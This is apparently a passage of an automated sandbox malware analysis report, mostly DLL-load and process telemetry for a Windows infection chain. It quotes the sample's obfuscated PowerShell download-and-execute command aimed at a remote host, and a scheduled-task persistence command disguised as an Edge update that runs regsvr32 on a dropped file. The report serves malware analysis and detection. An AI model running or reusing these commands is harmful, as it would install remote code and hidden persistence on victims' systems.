Source: C:\Windows\System32\OpenWith.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wudfplatform.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: windowscodecs.dll
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Section loaded: mswsock.dll
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: efsadu.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: efsutil.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: cryptui.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: vaultcli.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: credui.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: feclient.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: msimg32.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: winmm.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: efsadu.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: efsutil.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: cryptui.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: efsutil.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: vaultcli.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: credui.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: cryptui.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: feclient.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\rekeywiz.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: cryptnet.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: webio.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: devenum.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: winmm.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: msdmo.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll

Source: C:\Windows\System32\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: rpQF1aDIK4.lnk

LNK file: ..\..\..\Windows\system32\cmd.exe

Source: C:\Users\Public\ajbs50ul.bat

File written: C:\Users\user\AppData\Roaming\miEk.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\System32\OpenWith.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\7.0\Outlook\Profiles\Outlook

Jump to behavior

Source:	Binary string: kernel32.pdbUGP source: regsvr32.exe, 00000008.00000003.1531905231.000000001C640000.00000004.00000001.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1531773811.000000001C580000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: kernelbase.pdbUGP source: regsvr32.exe, 00000008.00000003.1532489934.000000001C580000.00000004.00000001.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1533339761.000000001C860000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1540794217.0000022BF7CC0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1543994680.0000022BF7FA0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: regsvr32.exe, 00000008.00000003.1531284036.000000001C770000.00000004.00000001.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1530854144.000000001C580000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1537268899.0000022BF7CC0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: kernel32.pdb source: regsvr32.exe, 00000008.00000003.1531905231.000000001C640000.00000004.00000001.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1531773811.000000001C580000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: regsvr32.exe, 00000008.00000003.1531284036.000000001C770000.00000004.00000001.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1530854144.000000001C580000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1537268899.0000022BF7CC0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: win32u.pdb source: wmpshare.exe
Source:	Binary string: kernelbase.pdb source: regsvr32.exe, 00000008.00000003.1532489934.000000001C580000.00000004.00000001.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1533339761.000000001C860000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1540794217.0000022BF7CC0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1543994680.0000022BF7FA0000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: 8.3.regsvr32.exe.2c84fd0.7.raw.unpack, Redist.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 8.3.regsvr32.exe.2c84fd0.7.raw.unpack, Redist.cs	.Net Code: CoreMain
Source: 8.2.regsvr32.exe.1b690000.3.raw.unpack, Redist.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 8.2.regsvr32.exe.1b690000.3.raw.unpack, Redist.cs	.Net Code: CoreMain
Source: 8.3.regsvr32.exe.2c84fd0.6.raw.unpack, Redist.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 8.3.regsvr32.exe.2c84fd0.6.raw.unpack, Redist.cs	.Net Code: CoreMain
Source: 8.2.regsvr32.exe.12f59ac0.2.raw.unpack, Redist.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 8.2.regsvr32.exe.12f59ac0.2.raw.unpack, Redist.cs	.Net Code: CoreMain
Source: 8.2.regsvr32.exe.2c84fd0.0.raw.unpack, Redist.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 8.2.regsvr32.exe.2c84fd0.0.raw.unpack, Redist.cs	.Net Code: CoreMain
Source: 12.3.OpenWith.exe.22bf86faa00.80.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 12.3.OpenWith.exe.22bf86faa00.80.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 12.3.OpenWith.exe.22bf86faa00.47.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 12.3.OpenWith.exe.22bf86faa00.47.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 12.3.OpenWith.exe.22bf86faa00.14.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 12.3.OpenWith.exe.22bf86faa00.14.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 12.3.OpenWith.exe.22bf86faa00.20.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 12.3.OpenWith.exe.22bf86faa00.20.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 12.3.OpenWith.exe.22bf86faa00.17.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 12.3.OpenWith.exe.22bf86faa00.17.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 12.3.OpenWith.exe.22bf86faa00.18.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 12.3.OpenWith.exe.22bf86faa00.18.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 12.3.OpenWith.exe.22bf86faa00.54.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 12.3.OpenWith.exe.22bf86faa00.54.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 12.3.OpenWith.exe.22bf86faa00.22.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 12.3.OpenWith.exe.22bf86faa00.22.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 12.3.OpenWith.exe.22bf86faa00.28.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 12.3.OpenWith.exe.22bf86faa00.28.raw.unpack, Runtime.cs	.Net Code: CoreMain

Obfuscated command line found

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c p""ow""er""s""h""ell/""W 0""1 $jufn='i'+'e'+''+'X';s""al bx1g $jufn;$ajbs50ul=bx1g(bx1g($($('(new-objecwxwl syswxwlem.newxwl.webc""lienwxwl).Dowgdvitring(''hv7i91h982d.bp24mostakp24.spacp24/tp24st.txt''.Replace(''v7i9'',''ttps://'').Replace(''p24'', ''e''))').Replace('wxwl', 't').Replace('gdvi', 'nloadS'))));exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe p""ow""er""s""h""ell /""W 0""1 $jufn='i'+'e'+''+'X';s""al bx1g $jufn;$ajbs50ul=bx1g(bx1g($($('(new-objecwxwl syswxwlem.newxwl.webc""lienwxwl).Dowgdvitring(''hv7i91h982d.bp24mostakp24.spacp24/tp24st.txt''.Replace(''v7i9'',''ttps://'').Replace(''p24'', ''e''))').Replace('wxwl', 't').Replace('gdvi', 'nloadS'))));exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe p""ow""er""s""h""ell /""W 0""1 $jufn='i'+'e'+''+'X';s""al bx1g $jufn;$ajbs50ul=bx1g(bx1g($($('(new-objecwxwl syswxwlem.newxwl.webc""lienwxwl).Dowgdvitring(''hv7i91h982d.bp24mostakp24.spacp24/tp24st.txt''.Replace(''v7i9'',''ttps://'').Replace(''p24'', ''e''))').Replace('wxwl', 't').Replace('gdvi', 'nloadS'))));exit	Jump to behavior

Suspicious powershell command line found

Source: C:\Users\Public\ajbs50ul.bat	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/miEk.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{808CCC00-48CC-4040-C488-C044888CCCC0}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)"
Source: C:\Windows\System32\rekeywiz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/u0ow.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{C88C8848-C040-4888-C800-C800848C4848}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)"
Source: C:\Users\Public\ajbs50ul.bat	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/miEk.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{808CCC00-48CC-4040-C488-C044888CCCC0}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)"	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/u0ow.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{C88C8848-C040-4888-C800-C800848C4848}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)"

Source: utox_x86_x64.exe.3.dr	Static PE information: section name: .rodata
Source: utox_x86_x64.exe.3.dr	Static PE information: section name: .xdata
Source: utox_x86_x64.exe.3.dr	Static PE information: section name: /4
Source: utox_x86_x64.exe.3.dr	Static PE information: section name: /19
Source: utox_x86_x64.exe.3.dr	Static PE information: section name: /31
Source: utox_x86_x64.exe.3.dr	Static PE information: section name: /45
Source: utox_x86_x64.exe.3.dr	Static PE information: section name: /57
Source: utox_x86_x64.exe.3.dr	Static PE information: section name: /70
Source: utox_x86_x64.exe.3.dr	Static PE information: section name: /81
Source: utox_x86_x64.exe.3.dr	Static PE information: section name: /92
Source: ajbs50ul.bat.3.dr	Static PE information: section name: .xdata
Source: miEk.ini.4.dr	Static PE information: section name: .xdata

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C31EC9 push ds; ret	3_2_00007FF887C31F02
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C35CC3 push 00000063h; retf	3_2_00007FF887C35E04
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C378E9 push 00000063h; retf	3_2_00007FF887C3790C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C32CDD push 00000063h; retf	3_2_00007FF887C32D04
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C37679 push 00000063h; retf	3_2_00007FF887C3767C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C30685 push es; ret	3_2_00007FF887C306E2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C36C99 push 00000063h; retf	3_2_00007FF887C36CBC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C30C4D push cs; ret	3_2_00007FF887C30CAA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C38842 push 00000063h; retf	3_2_00007FF887C3884C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C35A72 push 00000063h; retf	3_2_00007FF887C35A9C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C35C5B push 00000063h; retf	3_2_00007FF887C35E04
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C3805C push 00000063h; retf	3_2_00007FF887C38074
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C34465 push ebp; iretd	3_2_00007FF887C34468
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C357FB push 00000063h; retf	3_2_00007FF887C35974
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C333F9 push 00000063h; retf	3_2_00007FF887C3341C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C32C05 push 00000063h; retf	3_2_00007FF887C32C24
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C351C3 push esp; ret	3_2_00007FF887C351CA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C383EB push 00000063h; retf	3_2_00007FF887C385AC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C36DE9 push 00000063h; retf	3_2_00007FF887C36E0C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C34783 push 00000063h; retf	3_2_00007FF887C348E4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C32D9D push 00000063h; retf	3_2_00007FF887C32DBC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C3375F push 00000063h; retf	3_2_00007FF887C33994
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C3790F push 00000063h; retf	3_2_00007FF887C3790C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C3790F push 00000063h; retf	3_2_00007FF887C37B14
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C35513 push ebp; ret	3_2_00007FF887C35532
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF887C35932 push 00000063h; retf	3_2_00007FF887C35974
